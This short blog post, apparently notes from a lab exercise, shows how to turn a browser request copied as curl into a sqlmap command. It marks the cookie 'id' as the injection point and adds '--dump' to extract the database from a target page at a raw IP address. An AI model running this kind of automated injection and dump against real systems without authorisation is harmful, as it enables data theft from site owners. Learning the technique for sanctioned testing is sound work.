SQLMap as HTTP requests
- aldern00b
- Jun 21, 2023
- 1 min read
Updated: Jul 7, 2023
Hit the site you want to mess with. Open developer tools to view the page (relead as needed) right click the page request and copy as curl, add a star to the item you're looking to mess with - in this example it's the cookie id 1. Replace curl with sql map and add the option to dump the data it finds
sqlmap 'http://167.172.50.34:31159/case3.php' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://167.172.50.34:31159/case3.php' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Cookie: id=1*' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-GPC: 1' --batch --dump
Comentarios